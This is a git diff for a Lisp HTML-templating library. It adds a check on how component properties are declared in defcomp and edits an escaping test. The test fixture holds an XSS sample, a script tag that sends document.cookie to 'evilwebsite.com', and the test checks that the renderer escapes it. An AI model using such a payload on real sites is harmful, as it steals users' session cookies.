diff --git a/src/defhsx.lisp b/src/defhsx.lisp index ebc45de..fe84d3a 100644 --- a/src/defhsx.lisp +++ b/src/defhsx.lisp @@ -37,6 +37,10 @@ (defhsx ,name ,(make-keyword name)))) (defmacro defcomp (name props &body body) + (unless (or (null props) + (member '&key props) + (member '&rest props)) + (error "Component properties must be declared with either &key, &rest, or both.")) (let ((%name (symbolicate '% name))) `(eval-when (:compile-toplevel :load-toplevel :execute) (defun ,%name ,props diff --git a/tests/renderer.lisp b/tests/renderer.lisp index 8723521..233c769 100644 --- a/tests/renderer.lisp +++ b/tests/renderer.lisp @@ -64,12 +64,9 @@ :pretty t)))) (test escaping-tag - (is (string= #M"
- \ <script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script> - \
" + (is (string= "
<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>
" (render-to-string - (div "" ) - :pretty t)))) + (div ""))))) (test non-escaping-tag (is (string= ""